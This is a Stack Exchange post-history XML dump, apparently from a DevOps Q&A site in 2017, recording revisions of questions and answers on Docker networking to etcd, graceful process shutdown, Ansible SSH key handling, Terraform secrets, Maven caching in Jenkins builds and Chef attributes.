  <row Id="6379" PostHistoryTypeId="2" PostId="2027" RevisionGUID="82252497-2f67-4fe8-a4d7-9aede5ef44c2" CreationDate="2017-09-15T17:27:13.143" UserId="4343" Text="I have a `Cement` application that runs inside of a docker container. In this image I have to connect to etcd. Inside of my docker image I have config that for etcd is set to `localhost` that I know is **not** correct!&#xD;&#xA;&#xD;&#xA;On my local machine etcd is up and running:&#xD;&#xA;&#xD;&#xA;    tcp4       0      0  localhost.2379         localhost.51949        ESTABLISHED&#xD;&#xA;&#xD;&#xA;The question is how should I connect to `etcd` server which is outside of docker container? `etcd` is installed normally without using docker.&#xD;&#xA;&#xD;&#xA;Output of my python application when I run it with `docker run -p 8084:8084 my_python_image`:&#xD;&#xA;&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;my_app.py&quot;, line 64, in &lt;module&gt;&#xD;&#xA;        app.run()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/cement/core/foundation.py&quot;, line 882, in run&#xD;&#xA;        return_val = self.controller._dispatch()&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/cement/core/controller.py&quot;, line 477, in _dispatch&#xD;&#xA;        return func()&#xD;&#xA;      File &quot;my_app.py&quot;, line 45, in default&#xD;&#xA;        module_rpc = rpc.Rpc('my_module', params=app.config.get_section_dict('etcd'))&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/rpc_server/rpc.py&quot;, line 31, in __init__&#xD;&#xA;        self.etcd_client.write(self.etcd_nodes, None, dir=True)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/etcd/client.py&quot;, line 500, in write&#xD;&#xA;        response = self.api_execute(path, method, params=params)&#xD;&#xA;      File &quot;/usr/local/lib/python2.7/site-packages/etcd/client.py&quot;, line 893, in wrapper&#xD;&#xA;        cause=e&#xD;&#xA;    etcd.EtcdConnectionFailed: Connection to etcd failed due to MaxRetryError(u&quot;HTTPConnectionPool(host=u'localhost', port=2379): Max retries exceeded with url: /v2/keys/my_module/nodes (Caused by NewConnectionError('&lt;urllib3.connection.HTTPConnection object at 0x7fcc33eaa690&gt;: Failed to establish a new connection: [Errno 111] Connection refused',))&quot;,)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6380" PostHistoryTypeId="1" PostId="2027" RevisionGUID="82252497-2f67-4fe8-a4d7-9aede5ef44c2" CreationDate="2017-09-15T17:27:13.143" UserId="4343" Text="How to connect to external etcd server inside of docker container (python application)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6381" PostHistoryTypeId="3" PostId="2027" RevisionGUID="82252497-2f67-4fe8-a4d7-9aede5ef44c2" CreationDate="2017-09-15T17:27:13.143" UserId="4343" Text="&lt;docker&gt;&lt;containers&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6382" PostHistoryTypeId="2" PostId="2028" RevisionGUID="9c56726f-42e2-470d-850c-a481b5826a8a" CreationDate="2017-09-15T17:41:36.387" UserId="4252" Text="Since you've tagged this question as &quot;culture&quot;, I'm assuming you're not interested in a specific application, but in the broader questions of workflow and management.&#xD;&#xA;&#xD;&#xA;I'd probably start with &quot;The DevOps Handbook&quot;; it's a good overview of different things to consider, without diving too deep.&#xD;&#xA;&#xD;&#xA;&quot;Continuous Delivery&quot; by Jez Humble is also often referenced; I haven't read much of it yet, but it covers the concepts of source control &amp; automation of builds.&#xD;&#xA;&#xD;&#xA;If you're starting to get into applications at scale (this may be too much of an assumption), another good book is &quot;The Practice of Cloud System Administration&quot; by Limoncelli et al." ContentLicense="CC BY-SA 3.0" />
  <row Id="6383" PostHistoryTypeId="2" PostId="2029" RevisionGUID="72a64cac-7f08-4765-afa7-5083deb8440a" CreationDate="2017-09-15T17:57:33.930" UserId="3451" Text="Quote from CF training on twelve-factor app’s processes are disposable:&#xD;&#xA;&#xD;&#xA;&gt; Apps should also shut down gracefully (but can also die unexpectedly).&#xD;&#xA;&gt; Cloud Foundry stops routing traffic nearly instantaneously to failed&#xD;&#xA;&gt; or shutdown instances.&#xD;&#xA;&#xD;&#xA;Cloud Foundry apps are stateless. I don't understand how to shut down gracefully a stateless app. A stateless app can always handle `kill -9`?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6384" PostHistoryTypeId="1" PostId="2029" RevisionGUID="72a64cac-7f08-4765-afa7-5083deb8440a" CreationDate="2017-09-15T17:57:33.930" UserId="3451" Text="how to shut down gracefully a stateless app?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6385" PostHistoryTypeId="3" PostId="2029" RevisionGUID="72a64cac-7f08-4765-afa7-5083deb8440a" CreationDate="2017-09-15T17:57:33.930" UserId="3451" Text="&lt;cloud&gt;&lt;data&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6386" PostHistoryTypeId="2" PostId="2030" RevisionGUID="bc690117-f70e-4139-867b-cb2cbe35e6a6" CreationDate="2017-09-15T18:00:16.717" UserId="4352" Text="I recently started playing around with Ansible and it seems very nice. I don't have much experience in DevOps stuff and never really had to handle any complex scenarios. I started creating my Ansible playbook to replace my current deployment tool - Deployer PHP. I'm stuck at cloning git repository unfortunately. Now, I know I need a public key added to enable access to git repository and here comes my question. &#xD;&#xA;&#xD;&#xA;Should I be using SSH agent forwarding (this way I can use my local SSH keys) or should I store private SSH key (encrypted, added to source control) within my ansible project and copy it using Ansible to my target node? I know the question may be very broad, so what interests me is security implications of both approaches." ContentLicense="CC BY-SA 3.0" />
  <row Id="6387" PostHistoryTypeId="1" PostId="2030" RevisionGUID="bc690117-f70e-4139-867b-cb2cbe35e6a6" CreationDate="2017-09-15T18:00:16.717" UserId="4352" Text="Ansible - private git repositories - SSH agent forwarding vs copying private SSH key" ContentLicense="CC BY-SA 3.0" />
  <row Id="6388" PostHistoryTypeId="3" PostId="2030" RevisionGUID="bc690117-f70e-4139-867b-cb2cbe35e6a6" CreationDate="2017-09-15T18:00:16.717" UserId="4352" Text="&lt;ansible&gt;&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6389" PostHistoryTypeId="2" PostId="2031" RevisionGUID="a857ede1-1b3d-497a-a571-0544e11ba25b" CreationDate="2017-09-15T19:10:53.623" UserId="4071" Text="We avoid terraform handle our secrets. Even if you manage to inject secrets by a var file &quot;secrtes.tfvars&quot; as pointed out above, these secrets will be stored in your terraform (remote-)state.&#xD;&#xA;&#xD;&#xA;You can protect remote-state files by using e.g. S3 authorization, or you can gitignore local state files but we decided not to relay on this kind of protection." ContentLicense="CC BY-SA 3.0" />
  <row Id="6390" PostHistoryTypeId="5" PostId="2031" RevisionGUID="e9fe9492-2a55-498c-b5ae-dc59b8a9c3fb" CreationDate="2017-09-15T20:05:13.667" UserId="47" Comment="fixed typo" Text="We avoid terraform handle our secrets. Even if you manage to inject secrets by a var file &quot;secrtes.tfvars&quot; as pointed out above, these secrets will be stored in your terraform (remote-)state.&#xD;&#xA;&#xD;&#xA;You can protect remote-state files by using e.g. S3 authorization, or you can gitignore local state files but we decided not to rely on this kind of protection." ContentLicense="CC BY-SA 3.0" />
  <row Id="6391" PostHistoryTypeId="2" PostId="2032" RevisionGUID="783400fd-4461-49ea-b844-0545976a9511" CreationDate="2017-09-15T20:21:47.833" UserId="2845" Text="`kill -9` is used by the kernel to terminate stateful programs that are no longer responding (including to shutdown requests). To gracefully shut down a stateful app you would use `kill -15` which instructs the application to call it's shutdown functions and do the requisite cleanup. If you app is truly stateless, there should be no difference in the results of `kill -9` and `kill -15`, but technically, a graceful shutdown of this program would still be `kill -15`" ContentLicense="CC BY-SA 3.0" />
  <row Id="6392" PostHistoryTypeId="2" PostId="2033" RevisionGUID="f26b68f1-7170-491d-8e6c-4089d4bb0235" CreationDate="2017-09-15T20:24:03.297" UserId="4175" Text="This is not about DevOps, but straight software development, I assume.&#xD;&#xA;&#xD;&#xA;&gt; I want to understand the culture better &#xD;&#xA;&#xD;&#xA;Well, the big thing in straight development (without the &quot;DevOps&quot; angle) is certainly &quot;agile&quot;, i.e. for the most part SCRUM. You might do worse than to sit down and read the Agile Manifesto or a primer on SCRUM, or Kanban for the more day-to-day, bugfixing, maintnance jobs.&#xD;&#xA;&#xD;&#xA;Aside from that, speaking of &quot;culture&quot; at all is, coming from the dev side, mostly a DevOps specific thing. Yes, we have our evangelists as well, specifically for newer stuff like ruby or golang, but not as extreme as in the DevOps/Cloud world, where there are actual paradigm shifts going on.&#xD;&#xA;&#xD;&#xA;&gt; and how you digest the sheer number of files in your projects&#xD;&#xA;&#xD;&#xA;Having worked on nontrivial ruby applications myself, that's no biggy. See, those files are not just strewn around nilly-willy, but there's a hierarchy, conventions and all that. You never actually need to have all those files in your head at a single point in time, for a well-designed project. If you work at a specific area, it is usually pretty clear where the relevant files are, and you can zoom in on them pretty easily. Same *should* go for other modern programming environments.&#xD;&#xA;&#xD;&#xA;In bad applications, that is different, but then the developer won't actually &quot;digest&quot; anything, but just stumble around in a frenzy all day until he quits. ;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6393" PostHistoryTypeId="2" PostId="2034" RevisionGUID="f6115201-9347-4b21-876d-9ddf28c304b9" CreationDate="2017-09-15T21:37:58.997" UserId="4353" Text="We have created a Docker build container to be run by Jenkins for Java based projects. We are using Maven for building our software. The problem we are facing is that, the builds are taking way to long to finish and the main reason for that is that maven is re-downloading all the dependencies for every single build, maven is run from inside the build container and not from the pipeline step.&#xD;&#xA;&#xD;&#xA;We thought about using a shared folder but we have dynamic build agents so no shared folder. Is there anyone who is using the same approach and is there a better approach to this?&#xD;&#xA;&#xD;&#xA;Thanks," ContentLicense="CC BY-SA 3.0" />
  <row Id="6394" PostHistoryTypeId="1" PostId="2034" RevisionGUID="f6115201-9347-4b21-876d-9ddf28c304b9" CreationDate="2017-09-15T21:37:58.997" UserId="4353" Text="What is the best way to share maven repository using Docker build (dynamic) image with maven?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6395" PostHistoryTypeId="3" PostId="2034" RevisionGUID="f6115201-9347-4b21-876d-9ddf28c304b9" CreationDate="2017-09-15T21:37:58.997" UserId="4353" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6396" PostHistoryTypeId="5" PostId="2033" RevisionGUID="82eb387b-2cd3-4abd-8757-598a6167e7c9" CreationDate="2017-09-15T21:57:29.470" UserId="4175" Comment="added 1 character in body" Text="This is not about DevOps, but straight software development, I assume.&#xD;&#xA;&#xD;&#xA;&gt; I want to understand the culture better &#xD;&#xA;&#xD;&#xA;Well, the big thing in straight development (without the &quot;DevOps&quot; angle) is certainly &quot;agile&quot;, i.e. for the most part SCRUM. You might do worse than to sit down and read the Agile Manifesto or a primer on SCRUM, or Kanban for the more day-to-day, bugfixing, maintenance jobs.&#xD;&#xA;&#xD;&#xA;Aside from that, speaking of &quot;culture&quot; at all is, coming from the dev side, mostly a DevOps specific thing. Yes, we have our evangelists as well, specifically for newer stuff like ruby or golang, but not as extreme as in the DevOps/Cloud world, where there are actual paradigm shifts going on.&#xD;&#xA;&#xD;&#xA;&gt; and how you digest the sheer number of files in your projects&#xD;&#xA;&#xD;&#xA;Having worked on nontrivial ruby applications myself, that's no biggy. See, those files are not just strewn around nilly-willy, but there's a hierarchy, conventions and all that. You never actually need to have all those files in your head at a single point in time, for a well-designed project. If you work at a specific area, it is usually pretty clear where the relevant files are, and you can zoom in on them pretty easily. Same *should* go for other modern programming environments.&#xD;&#xA;&#xD;&#xA;In bad applications, that is different, but then the developer won't actually &quot;digest&quot; anything, but just stumble around in a frenzy all day until he quits. ;)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6397" PostHistoryTypeId="2" PostId="2035" RevisionGUID="3ba900d2-10da-4d23-9b92-0ae7619fa20a" CreationDate="2017-09-15T22:04:43.027" UserId="4175" Text="You can story your private key in one circumstance: if you configure your repository so that it only allows read access for that particular key, and you don't bother about the repository being publicly readable. In this case, you can easily store your private key - obviously make a throwaway key without passphrase. But as I said, only if you are fine with public access to that repository.&#xD;&#xA;&#xD;&#xA;If that is not the case, then you are probably stuck with the SSH agent. It is not ideal, as `root` can take the socket, but if you are in a kind of benevolent environment (i.e., no attackable webserver anywhere near), then it should be OK." ContentLicense="CC BY-SA 3.0" />
  <row Id="6398" PostHistoryTypeId="2" PostId="2036" RevisionGUID="46f9edba-98f1-497c-a074-fb4dea376849" CreationDate="2017-09-15T22:38:13.167" UserId="342" Text="You can also consider to encrypt the file containing your private SSH key using Ansible Vault.&#xD;&#xA;&#xD;&#xA;Some links:&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/latest/playbooks_vault.html&#xD;&#xA;&#xD;&#xA;https://therealmarv.com/ansible-vault-file-handling/&#xD;&#xA;&#xD;&#xA;https://www.calazan.com/how-to-deploy-encrypted-copies-of-your-ssl-keys-and-other-files-with-ansible-and-openssl/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6399" PostHistoryTypeId="2" PostId="2037" RevisionGUID="690b766e-861f-464e-a400-ad113ac3b754" CreationDate="2017-09-16T01:14:26.677" UserId="222" Text="There are a few GitHub repos regarding Ansible best practices, and I've found [enginyoyen/ansible-best-practices][1] helpful not only in your case but also to understand the playbook/inventory/role/task differences in a full-blown Ansible project. &#xD;&#xA;&#xD;&#xA;Some highlights: (`/` refers to the **project's** home directory)&#xD;&#xA;&#xD;&#xA;* Your variables do indeed go in `/group_vars/`&#xD;&#xA;    * `/group_vars/windows.yml` will be automatically read by hosts you assign to the windows **group** &#xD;&#xA;    * `/group_vars/db.yml` will be automatically read by hosts you assign to the db **group** and so on&#xD;&#xA;* You may also include files with names like `/host_vars/win_host_1.yml` which will be read only by that host &#xD;&#xA;* The groups from `/group_vars/` are defined in your inventory file**s** (plural)&#xD;&#xA;&#xD;&#xA;        [windows]&#xD;&#xA;        win_host1.example.com&#xD;&#xA;        win_host_2.example.com&#xD;&#xA;&#xD;&#xA;* Inventory files have names like `/production.yml` and `/staging.yml` to help ensure code in different states of readiness is deployed to (ideally) identical environments.&#xD;&#xA;&#xD;&#xA;Other highlights not directly answering your question&#xD;&#xA;&#xD;&#xA;* A *role* is a file made of the *tasks* required to do something, like install `nginx`. They have names like `/roles/install_nginx.yml`&#xD;&#xA;* Playbooks have names like `/playbooks/win_hosts.yml` which do nothing but match the *groups* from your inventory files with the *roles* you want hosts in those groups to run. &#xD;&#xA;* **When you run `ansible-playbook` your `$HOME` should be  `/playbooks/`** so that the different inventory files are referred as `ansible-playbook -i ../production.yml win_hosts.yml`&#xD;&#xA;* This is also the place to put a custom ansible config file, `/playbooks/ansible.cfg`&#xD;&#xA;* There's also a way to manage *external* roles from Ansible Galaxy or GitHub and keep them separate from custom roles you built, but still in your project directory instead of `/etc/ansible/roles/` where `ansible-galaxy` puts them by default.&#xD;&#xA;* A nice little bash script to install Ansible &#xD;&#xA;&#xD;&#xA;[1]: https://github.com/enginyoyen/ansible-best-practises&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6402" PostHistoryTypeId="4" PostId="2029" RevisionGUID="16bebdbe-35aa-4e42-a7f6-0e50ecf657b1" CreationDate="2017-09-16T05:47:02.440" UserId="4354" Comment="Grammar fix in title." Text="How to shut down a stateless app gracefully?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6403" PostHistoryTypeId="24" PostId="2029" RevisionGUID="16bebdbe-35aa-4e42-a7f6-0e50ecf657b1" CreationDate="2017-09-16T05:47:02.440" Comment="Proposed by 4354 approved by 47, 40 edit id of 442" ContentLicense="CC BY-SA 3.0" />
  <row Id="6404" PostHistoryTypeId="2" PostId="2038" RevisionGUID="fd3f1cb2-a3dd-4569-a002-2d35d923ad1a" CreationDate="2017-09-16T08:39:03.883" UserId="786" Text="Let us say I do `knife node edit mynode` and within the `normal` section I edit the JSON to add `&quot;myattribute&quot;: &quot;myvalue&quot;,`. I save this and verify that it has taken effect by issuing `knife search node -a myattribute mynode`, and I see it there. How would I then use this value from within a recipe? I would have expected to just be able to say `node['myattribute']` when running the recipe on `mynode` but that just returns nothing. The usual Ohai attributes such as `node['hostname']` obviously work as expected. " ContentLicense="CC BY-SA 3.0" />
  <row Id="6405" PostHistoryTypeId="1" PostId="2038" RevisionGUID="fd3f1cb2-a3dd-4569-a002-2d35d923ad1a" CreationDate="2017-09-16T08:39:03.883" UserId="786" Text="Accessing attributes from within recipes" ContentLicense="CC BY-SA 3.0" />
  <row Id="6406" PostHistoryTypeId="3" PostId="2038" RevisionGUID="fd3f1cb2-a3dd-4569-a002-2d35d923ad1a" CreationDate="2017-09-16T08:39:03.883" UserId="786" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6407" PostHistoryTypeId="6" PostId="2038" RevisionGUID="942d42c4-f050-41b3-9b8c-0bcad70cf863" CreationDate="2017-09-16T08:48:36.773" UserId="786" Comment="edited tags" Text="&lt;chef&gt;&lt;configuration&gt;&lt;configuration-management&gt;&lt;infrastructure-as-code&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6408" PostHistoryTypeId="2" PostId="2039" RevisionGUID="12dee40a-6f7c-4208-ba17-1f6361dd14e0" CreationDate="2017-09-16T09:07:46.610" UserId="4361" Text="If your git repos is a private github, you can use [github methods][1] (deploy keys is very powerful).&#xD;&#xA;&#xD;&#xA;If your repos are not hosted on github or they don't provide read-only deploy key feature, The two options you mentioned are both valuable.&#xD;&#xA;&#xD;&#xA;##Single DevOps guy&#xD;&#xA;If you are the only person working on the project and Your machine/machines are the only you will run ansible from (no CD tools like jenkins and frineds) you're good to go with the agent forwarding option: is likely less possible that you forget your private key unencrypted around.&#xD;&#xA;&#xD;&#xA;##Small Team&#xD;&#xA;If you are a team of people working on the same Ansible playbook or multiple people that run the playbook then you have both options:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - keep the agent-forwarding option; every teammate run the script from his machine.&#xD;&#xA;&#xD;&#xA; -  create a deployer key-pair, upload the pub-key and encrypt the private with vault as suggested by [Berlin][2]. The key is encrypted and the scope of the private key is restricted to only 1 or few repos. The problem with this approach is that you have to rotate the vault password every time a teammate leave the team.&#xD;&#xA;&#xD;&#xA;I would never put my personal private key, which has a wide scope, in any possibly unsafe place. Vault encryption is as good as the people that uses it and there's a lot of keys/passwords in cleartext out there :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/v3/guides/managing-deploy-keys/&#xD;&#xA;  [2]: https://devops.stackexchange.com/users/342/berlin" ContentLicense="CC BY-SA 3.0" />
  <row Id="6409" PostHistoryTypeId="2" PostId="2040" RevisionGUID="4bcd0ba7-dbc0-4333-8649-b32bc6cdeda2" CreationDate="2017-09-16T09:24:54.063" UserId="4175" Text="&gt; A stateless app can always handle kill -9?&#xD;&#xA;&#xD;&#xA;Yes. But even a stateless app handles connections from the outside (or it would do nothing, really!). That is the issue here. If your app, say, some HTTP server that only serves static files, and is thus stateless, were to be routinely killed with -9, then ever so often, you would kill it with an active connection. So your customer would get some HTTP error code. In the best case, it is an unimportant small image and he doesn't even notice; in the worst case, it is your main `.js` or `.css` file and he *will* indeed notice badly.&#xD;&#xA;&#xD;&#xA;So, by using a weaker signal, you give your stateless app the chance to finish the current request before shutting down. &#xD;&#xA;&#xD;&#xA;Obviously, you can finish it off with -9 if it does not go away after a second or two (or however long you wish to give it time to end its business).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6410" PostHistoryTypeId="2" PostId="2041" RevisionGUID="6286b65f-97ed-46da-9811-812bf58c6e19" CreationDate="2017-09-16T14:28:12.983" UserId="342" Text="I think that according to chef documentation you should use `normal` with node data.&#xD;&#xA;&#xD;&#xA;&gt; A normal attribute is a setting that persists in the node object. A&#xD;&#xA;&gt; normal attribute has a higher attribute precedence than a default&#xD;&#xA;&gt; attribute.&#xD;&#xA;&#xD;&#xA;you can read about it here:&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/attributes.html&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/knife_node.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;some example:&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;       &quot;normal&quot;: {&#xD;&#xA;       },&#xD;&#xA;       &quot;name&quot;: &quot;foobar&quot;,&#xD;&#xA;       &quot;override&quot;: {&#xD;&#xA;       },&#xD;&#xA;       &quot;default&quot;: {&#xD;&#xA;       },&#xD;&#xA;       &quot;json_class&quot;: &quot;Chef::Node&quot;,&#xD;&#xA;       &quot;automatic&quot;: {&#xD;&#xA;       },&#xD;&#xA;       &quot;run_list&quot;: [&#xD;&#xA;          &quot;recipe[zsh]&quot;,&#xD;&#xA;          &quot;role[webserver]&quot;&#xD;&#xA;       ],&#xD;&#xA;       &quot;chef_type&quot;: &quot;node&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6411" PostHistoryTypeId="5" PostId="2041" RevisionGUID="2062d3fe-4b6f-446c-a856-478cf1de59af" CreationDate="2017-09-16T14:38:26.007" UserId="342" Comment="added 119 characters in body" Text="I think that according to chef documentation you should use `normal` with node data.&#xD;&#xA;&#xD;&#xA;&gt; A normal attribute is a setting that persists in the node object. A&#xD;&#xA;&gt; normal attribute has a higher attribute precedence than a default&#xD;&#xA;&gt; attribute.&#xD;&#xA;&#xD;&#xA;you can read about it here:&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/attributes.html&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/knife_node.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;some example:&#xD;&#xA;&#xD;&#xA;      &quot;normal&quot;: {&#xD;&#xA;        &quot;ebs&quot;: {&#xD;&#xA;          &quot;devices&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;mount_device&quot;: &quot;/dev/xvdf&quot;,&#xD;&#xA;              &quot;encrypt&quot;: true,&#xD;&#xA;              &quot;volume_mapping&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;device&quot;: &quot;/dev/xvdf&quot;&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        },&#xD;&#xA;    &#xD;&#xA;In you recipe:&#xD;&#xA;&#xD;&#xA;    if node.ebs.devices[0]['mount_device'] == '/dev/xvdf' and node.ebs.devices[0]['encrypt'] ..." ContentLicense="CC BY-SA 3.0" />
  <row Id="6412" PostHistoryTypeId="5" PostId="2041" RevisionGUID="890eb1ec-965d-4e32-bdf0-809f28cb5021" CreationDate="2017-09-16T14:47:49.773" UserId="342" Comment="added 122 characters in body" Text="I think that according to chef documentation you should use `normal` with node data.&#xD;&#xA;&#xD;&#xA;&gt; A normal attribute is a setting that persists in the node object. A&#xD;&#xA;&gt; normal attribute has a higher attribute precedence than a default&#xD;&#xA;&gt; attribute.&#xD;&#xA;&#xD;&#xA;you can read about it here:&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/attributes.html&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/knife_node.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;some example:&#xD;&#xA;&#xD;&#xA;      &quot;normal&quot;: {&#xD;&#xA;        &quot;ebs&quot;: {&#xD;&#xA;          &quot;devices&quot;: [&#xD;&#xA;            {&#xD;&#xA;              &quot;mount_device&quot;: &quot;/dev/xvdf&quot;,&#xD;&#xA;              &quot;encrypt&quot;: true,&#xD;&#xA;              &quot;volume_mapping&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;device&quot;: &quot;/dev/xvdf&quot;&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          ]&#xD;&#xA;        },&#xD;&#xA;    &#xD;&#xA;In you recipe:&#xD;&#xA;&#xD;&#xA;    if node.ebs.devices[0]['mount_device'] == '/dev/xvdf' and node.ebs.devices[0]['encrypt'] ...&#xD;&#xA;&#xD;&#xA;Another example with `node['myattribute']`&#xD;&#xA;&#xD;&#xA;       &quot;normal&quot;: {&#xD;&#xA;            &quot;myattribute&quot;: &quot;myvalue&quot;&#xD;&#xA;            }," ContentLicense="CC BY-SA 3.0" />
  <row Id="6413" PostHistoryTypeId="50" PostId="1130" RevisionGUID="d0e4bde8-84ab-40e2-aa2c-6a53454e12dd" CreationDate="2017-09-17T01:11:26.677" UserId="-1" />
  <row Id="6415" PostHistoryTypeId="2" PostId="2042" RevisionGUID="9a12e948-876c-48b8-8855-6ae67d7a9415" CreationDate="2017-09-17T03:02:04.953" UserId="4011" Text="The error you see in your container is:&#xD;&#xA;&#xD;&#xA;&gt; etcd.EtcdConnectionFailed: Connection to etcd failed due to MaxRetryError(u&quot;HTTPConnectionPool(host=u'localhost', port=2379): Max retries exceeded with url: /v2/keys/my_module/nodes (Caused by NewConnectionError('&lt;urllib3.connection.HTTPConnection object at 0x7fcc33eaa690&gt;: Failed to establish a new connection: [Errno 111] Connection refused',))&quot;,)&#xD;&#xA;&#xD;&#xA;If you take a close look there, you can see that it's trying to connect to `localhost`.  Inside your container, `localhost` is means &quot;the current container&quot; (much like `localhost` on your host means &quot;the current host&quot;). If you want to connect to an `etcd` instance *outside* of the container, you'll need to use the ip address (or hostname) of another server.&#xD;&#xA;&#xD;&#xA;If you're running (a) running Docker locally, (b) etcd on your host is listening on all addresses, and (c) there are no firewall rules that would otherwise prohibit the connection, then you can use the address of the Docker bridge associated with your container as the address of your host.  This will be the default gateway as seen from inside the container.  You can extract the address with something like:&#xD;&#xA;&#xD;&#xA;    ip route show | awk '$1 == &quot;default&quot; {print $3}'&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6416" PostHistoryTypeId="2" PostId="2043" RevisionGUID="2c0d6025-148e-4916-a5b8-dad3d8a9130c" CreationDate="2017-09-17T08:38:56.583" UserId="4369" Text="&gt;What are the general ways to tackle this problem?&#xD;&#xA;&#xD;&#xA;The ideal way to resolve your problem would be to dockerise your application, as it would remove any worries you have about compatibility between your build and running servers. Installing dependencies using pip in a Dockerfile is trivial, and as long as you're deploying the same container image you never need to worry about inconsistency." ContentLicense="CC BY-SA 3.0" />
  <row Id="6417" PostHistoryTypeId="11" PostId="6" RevisionGUID="4bdbf720-87af-416b-af72-5d431318e9d3" CreationDate="2017-09-17T08:43:33.803" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="6418" PostHistoryTypeId="2" PostId="2044" RevisionGUID="86708170-d3d5-46b4-b3ea-8fca198d5581" CreationDate="2017-09-17T08:43:35.020" UserId="4369" Text="If you're running a RedHat-based distribution e.g. Fedora or CentOS, you may have SELinux turned on by default. You can automatically permit your containers to access files on the hosts by mounting with the `:Z` option, like so:&#xD;&#xA;&#xD;&#xA;      volumes:&#xD;&#xA;       - ./database:/var/lib/mysql:Z&#xD;&#xA;       - ./_conf/mariadb.cnf:/etc/mysql/my.cnf:Z&#xD;&#xA;       - ./logs:/var/log/mysql:Z" ContentLicense="CC BY-SA 3.0" />
  <row Id="6419" PostHistoryTypeId="2" PostId="2045" RevisionGUID="9dd264ca-1be2-49d1-a3bb-59df7f92fa6c" CreationDate="2017-09-17T08:49:37.970" UserId="4369" Text="It's a bit hacky, but you can always do something like:&#xD;&#xA;&#xD;&#xA;    check_process:&#xD;&#xA;      cmd.run:&#xD;&#xA;        name: ps aux | grep 'foobar'&#xD;&#xA;&#xD;&#xA;The exit code will be non-0 and the state will fail if `foobar` doesn't exist." ContentLicense="CC BY-SA 3.0" />
  <row Id="6420" PostHistoryTypeId="5" PostId="2034" RevisionGUID="802f62b9-6f82-48c4-84c9-49d904ec6864" CreationDate="2017-09-17T12:10:16.660" UserId="60" Comment="Removed &quot;thanks&quot;" Text="We have created a Docker build container to be run by Jenkins for Java based projects. We are using Maven for building our software. The problem we are facing is that, the builds are taking way to long to finish and the main reason for that is that maven is re-downloading all the dependencies for every single build, maven is run from inside the build container and not from the pipeline step.&#xD;&#xA;&#xD;&#xA;We thought about using a shared folder but we have dynamic build agents so no shared folder. Is there anyone who is using the same approach and is there a better approach to this?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6421" PostHistoryTypeId="24" PostId="2034" RevisionGUID="802f62b9-6f82-48c4-84c9-49d904ec6864" CreationDate="2017-09-17T12:10:16.660" Comment="Proposed by 60 approved by 14, 40 edit id of 443" ContentLicense="CC BY-SA 3.0" />
  <row Id="6422" PostHistoryTypeId="50" PostId="1561" RevisionGUID="9538e76c-16a1-41ad-a0b8-e8987339ff6b" CreationDate="2017-09-17T12:14:45.340" UserId="-1" />
  <row Id="6424" PostHistoryTypeId="6" PostId="2030" RevisionGUID="180fc6a3-d770-4244-a046-986ac74b8307" CreationDate="2017-09-17T14:06:16.467" UserId="210" Comment="edited tags" Text="&lt;ansible&gt;&lt;git&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
